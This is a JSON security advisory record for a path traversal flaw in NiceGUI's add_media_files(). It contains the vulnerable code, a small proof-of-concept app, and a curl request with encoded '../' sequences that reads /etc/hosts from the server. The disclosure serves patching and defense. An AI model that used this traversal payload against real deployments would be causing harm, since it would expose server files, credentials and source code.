{"id":"PYSEC-2026-1700","summary":"NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read","details":"### Summary\n\nA directory traversal vulnerability in NiceGUI's `App.add_media_files()` allows a remote attacker to read arbitrary files on the server filesystem.\n\n### Details\n\nHello, I am Seungbin Yang, a university student studying cybersecurity. \nWhile reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.\n\nThe `App.add_media_files(url_path, local_directory)` method allows users to serve media files. However, the implementation lacks proper path validation.\n\n```python\ndef add_media_files(self, url_path: str, local_directory: Union[str, Path]) -\u003e None:\n    @self.get(url_path.rstrip('/') + '/{filename:path}')\n    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -\u003e Response:\n        filepath = Path(local_directory) / filename\n        if not filepath.is_file():\n            raise HTTPException(status_code=404, detail='Not Found')\n        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)\n```\nRoot Cause:\n1. The `{filename:path}` parameter accepts full paths, including traversal sequences like `../`.\n2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory.\n3. There is no path sanitization or boundary check.\n\nConsequence:\nAn attacker can use `..` to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.\n\n### POC\n1. Create `poc.py`:\n```python\n# poc.py\nfrom pathlib import Path\nfrom nicegui import app, ui\n\nMEDIA_DIR = Path(__file__).parent / 'media'\nMEDIA_DIR.mkdir(exist_ok=True)\n\n# Expose local \"media\" directory at /media\napp.add_media_files('/media', MEDIA_DIR)\n\n@ui.page('/')\ndef index():\n    ui.label('NiceGUI media PoC')\n\nui.run(port=8080, reload=False)\n```\n\n2. Run the application: `python3 poc.py`\n\n3. Exploit with curl: Use URL-encoded dots (`%2e`) to bypass client-side checks.\n```curl -v \"http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts\"```\n\n\n### Result:\nThe HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.\n\nI have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.\n\n\u003cimg width=\"1728\" height=\"1078\" alt=\"POC screenshot\" src=\"https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775\" /\u003e\n\n### Impact\n\nAny NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:\n\n•Application source code and configuration files\n•Credentials, API keys, and secrets\n•Operating system configuration files (e.g., /etc/passwd, /etc/hosts)\n\nThis is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.\n\nThank you.","aliases":["CVE-2025-66645","GHSA-hxp3-63hc-5366"],"modified":"2026-07-07T17:46:58.258815626Z","published":"2026-07-07T16:03:12.541903Z","references":[{"type":"WEB","url":"https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66645"},{"type":"WEB","url":"https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9"},{"type":"PACKAGE","url":"https://github.com/zauberzeug/nicegui"},{"type":"PACKAGE","url":"https://pypi.org/project/nicegui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hxp3-63hc-5366"}],"affected":[{"package":{"name":"nicegui","ecosystem":"PyPI","purl":"pkg:pypi/nicegui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.0"}]}],"versions":["0.1.0","0.1.4","0.1.6","0.2.0","0.2.1","0.2.10","0.2.11","0.2.12","0.2.13","0.2.14","0.2.15","0.2.2","0.2.3","0.2.4","0.2.9","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.14","0.4.15","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.10","0.7.11","0.7.12","0.7.13","0.7.14","0.7.15","0.7.16","0.7.17","0.7.18","0.7.19","0.7.2","0.7.21","0.7.22","0.7.23","0.7.24","0.7.25","0.7.26","0.7.27","0.7.28","0.7.29","0.7.3","0.7.30","0.7.4","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.13","0.8.14","0.8.15","0.8.16","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.2.0","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.17","1.2.18","1.2.2","1.2.20","1.2.21","1.2.22","1.2.23","1.2.24","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.1","1.3.10","1.3.11","1.3.12","1.3.13","1.3.14","1.3.15","1.3.16","1.3.17","1.3.18","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.10","1.4.11","1.4.12","1.4.13","1.4.14","1.4.15","1.4.16","1.4.17","1.4.18","1.4.19","1.4.2","1.4.20","1.4.21","1.4.22","1.4.23","1.4.24","1.4.25","1.4.26","1.4.27","1.4.28","1.4.29","1.4.3","1.4.30","1.4.31","1.4.33","1.4.34","1.4.35","1.4.36","1.4.37","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","2.0.0","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.11.1","2.12.0","2.12.1","2.13.0","2.14.0","2.14.1","2.15.0","2.16.0","2.16.1","2.17.0","2.18.0","2.19.0","2.2.0","2.20.0","2.21.0","2.21.1","2.22.0","2.22.1","2.22.2","2.23.0","2.23.1","2.23.2","2.23.3","2.24.0","2.24.1","2.24.2","2.3.0","2.4.0","2.5.0","2.7.0","2.8.0","2.8.1","2.9.0","2.9.1","3.0.0","3.0.0rc1","3.0.1","3.0.2","3.0.3","3.0.4","3.1.0","3.2.0","3.3.0","3.3.1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/nicegui/PYSEC-2026-1700.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}